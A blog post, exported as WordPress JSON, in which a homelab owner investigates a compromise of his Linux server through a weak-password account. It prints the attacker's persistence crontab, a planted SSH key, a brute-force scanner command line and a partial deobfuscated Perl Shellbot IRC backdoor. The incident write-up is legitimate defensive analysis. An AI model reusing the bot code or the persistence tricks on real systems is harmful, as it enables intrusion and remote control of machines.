{"id":601,"date":"2020-05-08T21:31:26","date_gmt":"2020-05-08T20:31:26","guid":{"rendered":"https:\/\/www.flat-planet.net\/?p=601"},"modified":"2020-07-12T20:26:42","modified_gmt":"2020-07-12T19:26:42","slug":"i-got-hacked","status":"publish","type":"post","link":"https:\/\/flat-planet.net\/?p=601","title":{"rendered":"I Got Hacked!"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">For me, getting hacked was an interesting experience as I hadn&#8217;t really seen it as something likely &#8211; I&#8217;m quite technology\/computer savvy, use random passwords (KeePass) for any\/all Internet services, 2FA where available, and I thought not a very interesting target. I get 100s of hits on a daily basis on the SSH port of my server, but fail2ban, and disabling root logins deals with 99% of those.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">2020-05-08 19:00:34,007 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:00:36,303 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:00:38,589 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:00:41,136 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:02:26,666 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:02:27,531 fail2ban.actions [2654]: NOTICE [sshd] Ban 218.92.0.191\n2020-05-08 19:02:28,807 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191\n2020-05-08 19:12:28,284 fail2ban.actions [2654]: NOTICE [sshd] Unban 218.92.0.191\n2020-05-08 19:26:06,233 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">First Signs of Trouble<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Internet felt slow &#8211; the typical non-specific issue that initial connection setup felt a few heartbeats slower then it usually was. Normally this could be blamed on the neighbours WiFi, etc. but mostly I&#8217;m on a wired connection (Cat6, 1Gbps) internally, and 240M down \/ 24M up DOCSIS connection that has been completely reliable in terms of delivering the advertised speeds up until now.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However I do have a cron job running every 30 mins after an incident a few years ago, so I did have a measurable change in behaviour:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"383\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-1024x383.png\" alt=\"\" class=\"wp-image-602\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-1024x383.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-300x112.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-768x287.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-1536x574.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-2048x766.png 2048w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-ICMP-Change-624x233.png 624w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>From Months of perfect results to spiking ping times (and tests failing to report at all)<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">While I could eventually get to 240Mbps downstream, the massive increase in loss\/latency was especially obvious when opening new network connections &#8211; Zoom \/ Teams \/ Skype calls slow to open, hearing everyone, but nobody hearing me, Windows complaining that it was unable to screen new downloads, etc.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Getting nowhere with my ISP<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Given that there was clearly an Internet issue, I was reluctant to engage my ISP. My current setup generally makes their usual troubleshooting steps unhelpful to say the least (not their fault) as I&#8217;m probably one of their more extreme outliers.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">My current setup consists of;<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Hub 3.0 &#8211; operating in bridge\/modem mode<\/li><li>Ubiquity EdgeRouter X SFP running v2.0.8-hotfix.1 &#8211; this is the network gateway\/NAT point, and DHCP server<\/li><li>Arista 7010 running EOS-4.23.0F &#8211; acting as L2 distribution switch + L3 gateway for homelab<\/li><li>Ubiquity UniFi AP-AC-Pro running 4.0.80.10875 &#8211; 2.4GHz\/5GHz AP<\/li><li>RPi3 running PiHole &#8211; Network level adblocking + DNS<\/li><li>2 Dell R710 Servers &#8211; Homelab<\/li><li>Other stuffs<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"380\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage-1024x380.png\" alt=\"\" class=\"wp-image-603\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage-1024x380.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage-300x111.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage-768x285.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage-624x232.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/BroadbandUsage.png 1050w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>I&#8217;m a high usage customer, even on their base package<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After going through the usual steps, they confirmed that the modem had seen a few signal spikes, but nothing to explain the issues I was seeing, and given the current Covid-19 situation, they are understandably reluctant to enter people&#8217;s homes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I should be clear, I have no issue with their processes or performance &#8211; they basically provide a big, fat, unlimited pipe to the Interwebs with a public IPv4 address, so they are everything I want from an ISP.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Second oddity<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">From time to time I noticed a processes on my main Linux media\/all round everything box consuming 300%+ CPU. I didn&#8217;t give it much thought (my mistake) as it looked innocent enough &#8211; the read-only user account that is used by my Kodi player, hitting kswapd0 very hard (300+% CPU utilisation).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I figured that the problem was Kodi indexers pounding the NAS hard, and with the network connection issues, occasionally hanging. This was my mistake.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I would kill the process, then go on to other things while moaning about my internet connection.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 1: Getting better data<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;d been playing with Influx and Grafana so decided to up my home network data collection game big time. Step 1 was to start recording my Speedtest results in Influx and charting them via Grafana. I switched to using the official <a href=\"https:\/\/www.speedtest.net\/apps\/cli\">Speedtest CLI client<\/a>, and wrapping that in some python (<a href=\"https:\/\/github.com\/aidengilmartin\/speedtest-to-influxdb\">based on this<\/a>) to feed the json output into Influx. The main additional requirement was also including the loss information.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"453\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-1024x453.png\" alt=\"\" class=\"wp-image-604\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-1024x453.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-300x133.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-768x340.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-1536x680.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard-624x276.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Speedtest-Dashboard.png 1950w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Speedtest.net Results, as json, pushed to Influx and charted in Telegraf<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Better looking then excel and easier to work with, but not telling me anything I didn&#8217;t already know.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 2: SmokePing&#8230; Grafana Style<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While the Speedtest results are interesting, they are bandwidth heavy so I was only running them every 15 mins. I&#8217;ve used <a href=\"https:\/\/oss.oetiker.ch\/smokeping\/\">SmokePing<\/a> in the past, and decided to explore the options with my Influx-Grafana setup, which lead me to standing up the last element in the TIG stack &#8211; <a href=\"https:\/\/www.influxdata.com\/time-series-platform\/telegraf\/\">Telegraf<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Some simple config in Telegraf to monitor the <a href=\"https:\/\/www.influxdata.com\/integration\/ping\/\">ICMP response time<\/a> for a few well known IPs e.g. 8.8.8.8, 1.1.1.1, youtube.com, facebook.com, as well as the local gateway for comparison, gave me a reliable way to at least monitor the situation.<br><br>By using IPs, I was eliminating DNS from 2 of the tests, and also diversifying CDN points e.g. Google estate vs. Facebook vs. CloudFlare<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"635\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-1024x635.png\" alt=\"\" class=\"wp-image-605\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-1024x635.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-300x186.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-768x476.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-1536x952.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard-624x387.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP_Dashboard.png 1945w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Local default gateway vs. 8.8.8.8, 1.1.1.1, and YouTube ICMP\/Ping average response time, and loss<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 3: Gateway Monitoring<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As the next step in achieving total visibility within my own network, I decided to beef up the monitoring of the gateway itself. While there are more sophisticated approaches now in Cloud\/Enterprise networking e.g. Arista CloudVision, at the very least I can monitor SNMP MIBs using Telegraf, and the EdgeRouter supports that.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Thankfully the most amazing <a href=\"https:\/\/grafana.com\/grafana\/dashboards\/1756\">Grafana Dashboard already exists for monitoring EdgeRouters<\/a> so it was just a matter of gather a motley collection of MIBs in the right place, and pointing Telegraf at the right point.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This was where it finally started to come together:<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 4: Hmmmm&#8230; That&#8217;s interesting&#8230;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So looking at the ICMP performance today, I saw that the period of awful performance matched to a huge increase in Context Switches on the gateway &#8211; this showed up as ~5-7% CPU utilisation for Soft IRQ on the EdgeMax.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"174\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-1024x174.png\" alt=\"\" class=\"wp-image-606\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-1024x174.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-300x51.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-768x131.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-1536x262.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency-624x106.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/ICMP-Latency.png 1661w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Spike in Latency<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"553\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-1024x553.png\" alt=\"\" class=\"wp-image-607\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-1024x553.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-300x162.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-768x415.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-1536x830.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router-624x337.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Context-Switches-Router.png 2002w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Ctx Switches<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"160\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-1024x160.png\" alt=\"\" class=\"wp-image-609\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-1024x160.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-300x47.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-768x120.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-1536x240.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1-624x97.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/IP-Forwarding-PPS-1.png 1680w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>PPS Spike<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">This is interesting, as while the actual interface utilisation was &lt;3Mbps (the spikes in the next chart are the periodic speedtest results) but we were seeing a huge number of PPS hitting the router, which in turn was requiring high levels of context switches.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"137\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-1024x137.png\" alt=\"\" class=\"wp-image-610\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-1024x137.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-300x40.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-768x103.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-1536x205.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic-624x83.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Interface-Traffic.png 1930w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>The speedtest throughput dominates the 60 second interface utilisation<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">This would generally imply to me that a huge number of new sessions are being setup, and the kernel is struggling to handle the NAT translations for the TCP session startup before it can be offloaded to the hardware.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 5: Ok, so who is suddenly using an extra ~4Mbps<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For that we have Arista CloudVision &#8211; the streaming telemetry is effectively instant and the dashboards baked in allow for easy comparison of stats. A quick look there and it was obvious that the server port (Ethernet 4) was jumping from ~0 to 1.2kpps in the time under investigation, with those unicast packets being forwarded on the uplink (Ethernet 1).<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"95\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-1024x95.png\" alt=\"\" class=\"wp-image-611\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-1024x95.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-300x28.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-768x72.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-1536x143.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats-624x58.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/CVP-InterfaceStats.png 1675w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>CVP &#8211; AdHoc Dashboard<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 5: WTF is going on<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Ok, so my beloved linux server is suddenly spamming the gateway &#8211; wtf is it doing? Sflow gives us a way to check, again through CVP<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Holy shit, ~1.3kpps of SSH traffic<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"432\" src=\"https:\/\/www.flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-1024x432.png\" alt=\"\" class=\"wp-image-612\" srcset=\"https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-1024x432.png 1024w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-300x126.png 300w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-768x324.png 768w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-1536x647.png 1536w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown-624x263.png 624w, https:\/\/flat-planet.net\/wp-content\/uploads\/2020\/05\/Sflow-Breakdown.png 1739w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Sflow analysis<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Ok, step 1, drop all SSH traffic initiated by the host. Allow incoming, and established sessions so we can troubleshoot<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">IP Access List TESTING\ncounters per-entry\n10 permit tcp any host 192.168.1.x established\n20 permit tcp any host 192.168.1.y established\n30 deny tcp host 192.168.1.x any eq ssh log [match 19069 packets, 0:00:00 ago]\n40 deny tcp host 192.168.1.y any eq ssh log\n50 permit ip any any [match 10109 packets, 0:00:00 ago]<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Enlightenment &#8211; Step 6: We have some breadcrumbs<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With the ACL present, I can see a huge number of SSH session attempts being dropped, but my performance to the rest of the world is now back up to the expected levels, so we have our smoking gun.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Next step is to see who\/what is triggering all these session attempts. A small sample of the netstat output<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo netstat -tnpa | grep &#039;22&#039;\ntcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      2461\/sshd\ntcp        0      0 192.168.1.x:33504       198.228.146.232:2352    TIME_WAIT   -\ntcp        0     53 192.168.1.x:44362       133.167.68.32:22        FIN_WAIT1   -\ntcp        0     53 192.168.1.x:54358       198.199.97.170:22       FIN_WAIT1   -\ntcp        0      0 192.168.1.x:53520       125.141.133.228:22      TIME_WAIT   -\ntcp        0      0 192.168.1.x:42894       51.68.64.206:22         TIME_WAIT   -\ntcp        0      0 192.168.1.x:42460       111.230.224.50:22       TIME_WAIT   -\ntcp        0      0 192.168.1.x:40478       142.93.12.21:22         TIME_WAIT   -\ntcp        0      0 192.168.1.x:38636       178.33.108.100:2299     TIME_WAIT   -\ntcp        0      1 192.168.1.x:43846       62.138.204.120:22       SYN_SENT    8262\/tsm\ntcp        0     53 192.168.1.x:34122       212.109.195.172:22      FIN_WAIT1   -\ntcp        0      0 192.168.1.x:34282       50.226.23.139:22        TIME_WAIT   -\ntcp        0      0 192.168.1.x:45740       90.84.178.163:22        TIME_WAIT   -\ntcp        0      0 192.168.1.x:49762       184.106.239.214:22      TIME_WAIT   -\ntcp        0     21 192.168.1.x:58714       128.1.135.163:22        ESTABLISHED 8262\/tsm\ntcp        0      0 192.168.1.x:39116       222.252.214.160:22      TIME_WAIT   -\ntcp        0      0 192.168.1.x:48646       208.43.73.115:22        TIME_WAIT   -\ntcp        0      0 192.168.1.x:35232       205.153.60.201:22       TIME_WAIT   -\ntcp        0     53 192.168.1.x:42564       15.113.160.114:22       FIN_WAIT1   -\ntcp        0      0 192.168.1.x:56408       183.107.117.171:22      TIME_WAIT   -\ntcp        0      1 192.168.1.x:43238       201.217.37.30:22        SYN_SENT    8262\/tsm\n...\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">So now to hunt down these tsm processes<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n&#x5B;~]=&gt; ps -aef | grep 8262\nsmbread   8262  8257 30 13:37 ?        00:10:59 \/tmp\/.X25-unix\/.rsync\/c\/lib\/64\/tsm --library-path \/tmp\/.X25-unix\/.rsync\/c\/lib\/64\/ \/usr\/sbin\/httpd rsync\/c\/tsm64 -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip\n&#x5B;~]=&gt; sudo pkill tsm\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">The Culprit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Lets see what is going in in this user account (it now has no shell, so I don&#8217;t mind showing it here).<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n# crontab -l -u smbread\n1 1 *\/2 * * \/home\/smbread\/.configrc\/a\/upd&gt;\/dev\/null 2&gt;&amp;1\n@reboot \/home\/smbread\/.configrc\/a\/upd&gt;\/dev\/null 2&gt;&amp;1\n5 8 * * 0 \/home\/smbread\/.configrc\/b\/sync&gt;\/dev\/null 2&gt;&amp;1\n@reboot \/home\/smbread\/.configrc\/b\/sync&gt;\/dev\/null 2&gt;&amp;1\n0 0 *\/3 * * \/tmp\/.X25-unix\/.rsync\/c\/aptitude&gt;\/dev\/null 2&gt;&amp;1\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">Given that this account only exists to provide read-only access to my Media store, this is a surprise. This explains why killing the high CPU processes didn&#8217;t keep everything running, or why a server reboot (for other reasons) had no impact\/improvement.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The other fun addition was adding to the .ssh\/authorized_keys to ensure that even if the account passwords change, access is retained:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ncat \/home\/smbread\/.ssh\/authorized_keys\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2\/9p7+vD0EpZ3Tz\/+0kX34uAx1RV\/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">I did find the choice of user amusing, since that was exactly what I said.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What is this thing trying to do?<\/h3>\n\n\n\n<ol class=\"wp-block-list\"><li>a\/upd &#8211; Seems to be a bash script to check if it is already running or not<\/li><li>b\/sync &#8211; Echo a chunk of base64 string through decode, and pipe it to perl<ol><li>As a secondary action add the above key to authorized_keys<\/li><\/ol><\/li><li>Final step is to kick off some go-based runtime<\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Perl, you say? How old-school \ud83d\ude42<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">So, we can pip the chunky string through <code>| base64 --decode<\/code> and we get a load of obfuscated perl.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: perl; title: ; notranslate\" title=\"\">\neval unpack u=&gt;q{_&quot;FUY(&quot;1P&lt;F]C97-S;R`](&quot;=R&lt;WEN8R&lt;&#x5B;&quot;@HD&lt;V5R=FED;W(])S0U+CDN,30X+CDY)R!U;FQE&lt;W,@)&#039;-E&lt;G9I_9&amp;]R.PIM&gt;2`D&lt;&amp;]R=&amp;$])S0T,R&lt;&#x5B;&quot;FUY($!C86YA:7,]*&quot;(C,#`W(BD&#x5B;&quot;FUY($!A9&amp;US\/2@B&lt;&amp;]L;&#039;DB+&quot;)M_;VQL&gt;2(I.PIM&gt;2!`875T...\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">Replace the eval with print, feed it to perl and we get the plain-text version:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: perl; title: ; notranslate\" title=\"\">\nmy $processo = &#039;rsync&#039;;\n\n$servidor=&#039;W.X.Y.Z&#039; unless $servidor;\nmy $porta=&#039;443&#039;;\nmy @canais=(&quot;#007&quot;);\nmy @adms=(&quot;aaa&quot;,&quot;aaa&quot;);\nmy @auth=(&quot;localhost&quot;);\n\nmy $linas_max=6;\nmy $sleep=3;\n\nmy $nick = getnick();\nmy $ircname = getnick();\nmy $realname = (`uname -a`);\n\nmy $acessoshell = 1;\nmy $prefixo = &quot;! &quot;;\nmy $estatisticas = 0;\nmy $pacotes = 1;\n\nmy $VERSAO = &#039;0.2a&#039;;\n\n$SIG{&#039;INT&#039;} = &#039;IGNORE&#039;;\n$SIG{&#039;HUP&#039;} = &#039;IGNORE&#039;;\n$SIG{&#039;TERM&#039;} = &#039;IGNORE&#039;;\n$SIG{&#039;CHLD&#039;} = &#039;IGNORE&#039;;\n$SIG{&#039;PS&#039;} = &#039;IGNORE&#039;;\n\nuse IO::Socket;\nuse Socket;\nuse IO::Select;\nchdir(&quot;\/&quot;);\n$servidor=&quot;$ARGV&#x5B;0]&quot; if $ARGV&#x5B;0];\n$0=&quot;$processo&quot;.&quot;\\0&quot;;\nmy $pid=fork;\nexit if $pid;\ndie &quot;Problema com o fork: $!&quot; unless defined($pid);\n\nmy %irc_servers;\nmy %DCC;\nmy $dcc_sel = new IO::Select-&gt;new();\n...\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">Which was immediately identified by Windows Defender as <a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/perl-based-shellbot-looks-to-target-organizations-via-cc\/\">Perl\/Shellbot.S<\/a> though in this case, it seems to be a slimmed down version, and I still need to investigate the Go-based payload.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How Did This Happen<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Pure stupidity &#8211; some accounts with very limited permissions had simple passwords for ease of use. The problem was these accounts also existed on the same server that is exposed to the interwebs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">My normal practice is to create accounts where the shell is <code>\/bin\/false<\/code> for this exact reason, but for two accounts this was missed &#8211; obviously addressed now.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The second issue was discounting the second abnormal behaviour (high CPU utilisation) when I already knew things in my environment were behaving abnormally.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is better now?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Improved monitoring everywhere;<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>TIG stack monitoring for all Linux hosts and VMs<\/li><li>TIG monitoring of gateway<\/li><li>TIG monitoring of external responsiveness (Ping)<\/li><li>CVP collection of sFlow data<\/li><li>Update VM templates for monitoring from initiation &#8211; every VM in the homelab is now monitored in a dashboard similar to <a href=\"https:\/\/grafana.com\/grafana\/dashboards\/928\">this<\/a><\/li><li>Consolidated Syslog<\/li><li>Logging ACLs for internally initiated SSH sessions<\/li><li>Alerting based on router utilisation (Soft IRQ)<\/li><li>All non-user accounts are using <code>\/bin\/false<\/code> as the shell<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>For me, getting hacked was an interesting experience as I hadn&#8217;t really seen it as something likely &#8211; I&#8217;m quite technology\/computer savvy, use random passwords 